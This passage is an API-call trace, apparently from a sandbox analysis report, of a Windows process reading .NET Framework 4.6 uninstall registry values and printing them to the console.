[0148.016] GetConsoleOutputCP () returned 0x1b5 [0148.016] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.016] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.016] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.016] __iob_func () returned 0x7fefd702a80 [0148.016] _fileno (_File=0x7fefd702ab0) returned 1 [0148.016] _errno () returned 0xc4bb0 [0148.016] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.017] _errno () returned 0xc4bb0 [0148.017] GetFileType (hFile=0x50) returned 0x1 [0148.017] lstrlenW (lpString="4.6.00081") returned 9 [0148.017] GetConsoleOutputCP () returned 0x1b5 [0148.017] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="4.6.00081", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.017] GetConsoleOutputCP () returned 0x1b5 [0148.017] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="4.6.00081", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4.6.00081", lpUsedDefaultChar=0x0) returned 9 [0148.017] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.017] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.017] __iob_func () returned 0x7fefd702a80 [0148.017] _fileno (_File=0x7fefd702ab0) returned 1 [0148.017] _errno () returned 0xc4bb0 [0148.017] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.017] _errno () returned 0xc4bb0 [0148.017] GetFileType (hFile=0x50) returned 0x1 [0148.017] lstrlenW (lpString="\n") returned 1 [0148.017] GetConsoleOutputCP () returned 0x1b5 [0148.017] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.017] GetConsoleOutputCP () returned 0x1b5 [0148.017] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.018] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.018] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.018] GetProcessHeap () returned 0x2e0000 [0148.018] GetProcessHeap () returned 0x2e0000 [0148.018] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0148.018] GetProcessHeap () returned 0x2e0000 [0148.018] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x18 [0148.018] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0 | out: hHeap=0x2e0000) returned 1 [0148.018] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.018] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.018] GetProcessHeap () returned 0x2e0000 [0148.018] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.018] GetProcessHeap () returned 0x2e0000 [0148.018] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.018] GetProcessHeap () returned 0x2e0000 [0148.018] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.018] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x9b34, pcbData=0x23f670*=0x4) returned 0x0 [0148.018] __iob_func () returned 0x7fefd702a80 [0148.018] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.018] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.018] _fileno (_File=0x7fefd702ab0) returned 1 [0148.018] _errno () returned 0xc4bb0 [0148.018] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.018] _errno () returned 0xc4bb0 [0148.018] GetFileType (hFile=0x50) returned 0x1 [0148.018] lstrlenW (lpString=" ") returned 4 [0148.018] GetConsoleOutputCP () returned 0x1b5 [0148.018] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.019] GetConsoleOutputCP () returned 0x1b5 [0148.019] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.019] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.019] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.019] lstrlenW (lpString="EstimatedSize") returned 13 [0148.019] __iob_func () returned 0x7fefd702a80 [0148.019] _fileno (_File=0x7fefd702ab0) returned 1 [0148.019] _errno () returned 0xc4bb0 [0148.019] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.019] _errno () returned 0xc4bb0 [0148.019] GetFileType (hFile=0x50) returned 0x1 [0148.019] lstrlenW (lpString="EstimatedSize") returned 13 [0148.019] GetConsoleOutputCP () returned 0x1b5 [0148.019] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.019] GetConsoleOutputCP () returned 0x1b5 [0148.019] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0148.019] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.019] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.019] __iob_func () returned 0x7fefd702a80 [0148.019] _fileno (_File=0x7fefd702ab0) returned 1 [0148.019] _errno () returned 0xc4bb0 [0148.019] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.019] _errno () returned 0xc4bb0 [0148.019] GetFileType (hFile=0x50) returned 0x1 [0148.020] lstrlenW (lpString=" ") returned 4 [0148.020] GetConsoleOutputCP () returned 0x1b5 [0148.020] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.020] GetConsoleOutputCP () returned 0x1b5 [0148.020] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.020] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.020] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.020] __iob_func () returned 0x7fefd702a80 [0148.020] _fileno (_File=0x7fefd702ab0) returned 1 [0148.020] _errno () returned 0xc4bb0 [0148.020] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.020] _errno () returned 0xc4bb0 [0148.021] GetFileType (hFile=0x50) returned 0x1 [0148.021] lstrlenW (lpString="REG_DWORD") returned 9 [0148.021] GetConsoleOutputCP () returned 0x1b5 [0148.021] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.021] GetConsoleOutputCP () returned 0x1b5 [0148.021] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.021] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.021] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.021] __iob_func () returned 0x7fefd702a80 [0148.021] _fileno (_File=0x7fefd702ab0) returned 1 [0148.021] _errno () returned 0xc4bb0 [0148.021] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.021] _errno () returned 0xc4bb0 [0148.021] GetFileType (hFile=0x50) returned 0x1 [0148.021] lstrlenW (lpString=" ") returned 4 [0148.021] GetConsoleOutputCP () returned 0x1b5 [0148.021] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.021] GetConsoleOutputCP () returned 0x1b5 [0148.021] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.022] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.022] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.022] __iob_func () returned 0x7fefd702a80 [0148.022] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.022] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x9b34") returned 6 [0148.022] _fileno (_File=0x7fefd702ab0) returned 1 [0148.022] _errno () returned 0xc4bb0 [0148.022] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.022] _errno () returned 0xc4bb0 [0148.022] GetFileType (hFile=0x50) returned 0x1 [0148.022] lstrlenW (lpString="0x9b34") returned 6 [0148.022] GetConsoleOutputCP () returned 0x1b5 [0148.022] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x9b34", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.022] GetConsoleOutputCP () returned 0x1b5 [0148.022] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x9b34", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x9b34", lpUsedDefaultChar=0x0) returned 6 [0148.022] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.022] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.022] __iob_func () returned 0x7fefd702a80 [0148.022] _fileno (_File=0x7fefd702ab0) returned 1 [0148.022] _errno () returned 0xc4bb0 [0148.022] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.022] _errno () returned 0xc4bb0 [0148.022] GetFileType (hFile=0x50) returned 0x1 [0148.022] lstrlenW (lpString="\n") returned 1 [0148.022] GetConsoleOutputCP () returned 0x1b5 [0148.023] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.023] GetConsoleOutputCP () returned 0x1b5 [0148.023] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.023] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.023] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.023] GetProcessHeap () returned 0x2e0000 [0148.023] GetProcessHeap () returned 0x2e0000 [0148.023] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.023] GetProcessHeap () returned 0x2e0000 [0148.023] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.023] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.023] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.023] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0xc8) returned 0x0 [0148.023] GetProcessHeap () returned 0x2e0000 [0148.023] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xca) returned 0x302970 [0148.023] GetProcessHeap () returned 0x2e0000 [0148.023] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0148.023] GetProcessHeap () returned 0x2e0000 [0148.023] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0xca [0148.023] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x302970, pcbData=0x23f670*=0xc8 | out: pdwType=0x23f5f0*=0x1, pvData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\\\Setup.exe /repair /x86 /x64", pcbData=0x23f670*=0xc6) returned 0x0 [0148.023] __iob_func () returned 0x7fefd702a80 [0148.023] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.023] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.023] _fileno (_File=0x7fefd702ab0) returned 1 [0148.024] _errno () returned 0xc4bb0 [0148.024] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.024] _errno () returned 0xc4bb0 [0148.024] GetFileType (hFile=0x50) returned 0x1 [0148.024] lstrlenW (lpString=" ") returned 4 [0148.024] GetConsoleOutputCP () returned 0x1b5 [0148.024] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.024] GetConsoleOutputCP () returned 0x1b5 [0148.024] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.024] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.024] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.024] lstrlenW (lpString="UninstallString") returned 15 [0148.024] __iob_func () returned 0x7fefd702a80 [0148.024] _fileno (_File=0x7fefd702ab0) returned 1 [0148.024] _errno () returned 0xc4bb0 [0148.024] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.024] _errno () returned 0xc4bb0 [0148.024] GetFileType (hFile=0x50) returned 0x1 [0148.024] lstrlenW (lpString="UninstallString") returned 15 [0148.024] GetConsoleOutputCP () returned 0x1b5 [0148.024] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0148.024] GetConsoleOutputCP () returned 0x1b5 [0148.025] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0148.025] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0148.025] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.025] __iob_func () returned 0x7fefd702a80 [0148.025] _fileno (_File=0x7fefd702ab0) returned 1 [0148.025] _errno () returned 0xc4bb0 [0148.025] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.025] _errno () returned 0xc4bb0 [0148.025] GetFileType (hFile=0x50) returned 0x1 [0148.025] lstrlenW (lpString=" ") returned 4 [0148.025] GetConsoleOutputCP () returned 0x1b5 [0148.025] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.025] GetConsoleOutputCP () returned 0x1b5 [0148.025] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.025] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.025] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.025] __iob_func () returned 0x7fefd702a80 [0148.025] _fileno (_File=0x7fefd702ab0) returned 1 [0148.025] _errno () returned 0xc4bb0 [0148.025] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.025] _errno () returned 0xc4bb0 [0148.025] GetFileType (hFile=0x50) returned 0x1 [0148.025] lstrlenW (lpString="REG_SZ") returned 6 [0148.025] GetConsoleOutputCP () returned 0x1b5 [0148.026] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.026] GetConsoleOutputCP () returned 0x1b5 [0148.026] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.026] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.026] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.026] __iob_func () returned 0x7fefd702a80 [0148.026] _fileno (_File=0x7fefd702ab0) returned 1 [0148.026] _errno () returned 0xc4bb0 [0148.026] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.026] _errno () returned 0xc4bb0 [0148.026] GetFileType (hFile=0x50) returned 0x1 [0148.026] lstrlenW (lpString=" ") returned 4 [0148.026] GetConsoleOutputCP () returned 0x1b5 [0148.026] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.026] GetConsoleOutputCP () returned 0x1b5 [0148.026] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.026] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.026] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.026] __iob_func () returned 0x7fefd702a80 [0148.027] _fileno (_File=0x7fefd702ab0) returned 1 [0148.027] _errno () returned 0xc4bb0 [0148.027] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.027] _errno () returned 0xc4bb0 [0148.027] GetFileType (hFile=0x50) returned 0x1 [0148.027] lstrlenW (lpString="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\\\Setup.exe /repair /x86 /x64") returned 98 [0148.027] GetConsoleOutputCP () returned 0x1b5 [0148.027] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\\\Setup.exe /repair /x86 /x64", cchWideChar=98, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 98 [0148.027] GetConsoleOutputCP () returned 0x1b5 [0148.027] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\\\Setup.exe /repair /x86 /x64", cchWideChar=98, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\\\Setup.exe /repair /x86 /x64", lpUsedDefaultChar=0x0) returned 98 [0148.027] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 98 [0148.027] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.027] __iob_func () returned 0x7fefd702a80 [0148.027] _fileno (_File=0x7fefd702ab0) returned 1 [0148.027] _errno () returned 0xc4bb0 [0148.027] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.027] _errno () returned 0xc4bb0 [0148.027] GetFileType (hFile=0x50) returned 0x1 [0148.027] lstrlenW (lpString="\n") returned 1 [0148.027] GetConsoleOutputCP () returned 0x1b5 [0148.027] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.027] GetConsoleOutputCP () returned 0x1b5 [0148.028] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.028] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.028] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.028] GetProcessHeap () returned 0x2e0000 [0148.028] GetProcessHeap () returned 0x2e0000 [0148.028] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0148.028] GetProcessHeap () returned 0x2e0000 [0148.028] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0xca [0148.028] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970 | out: hHeap=0x2e0000) returned 1 [0148.028] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.028] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6) returned 0x0 [0148.028] GetProcessHeap () returned 0x2e0000 [0148.028] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x8) returned 0x2fcda0 [0148.028] GetProcessHeap () returned 0x2e0000 [0148.028] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.028] GetProcessHeap () returned 0x2e0000 [0148.028] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x8 [0148.028] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x6 | out: pdwType=0x23f5f0*=0x1, pvData="4", pcbData=0x23f670*=0x4) returned 0x0 [0148.028] __iob_func () returned 0x7fefd702a80 [0148.028] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.028] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.028] _fileno (_File=0x7fefd702ab0) returned 1 [0148.028] _errno () returned 0xc4bb0 [0148.028] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.028] _errno () returned 0xc4bb0 [0148.028] GetFileType (hFile=0x50) returned 0x1 [0148.028] lstrlenW (lpString=" ") returned 4 [0148.028] GetConsoleOutputCP () returned 0x1b5 [0148.029] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.029] GetConsoleOutputCP () returned 0x1b5 [0148.029] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, 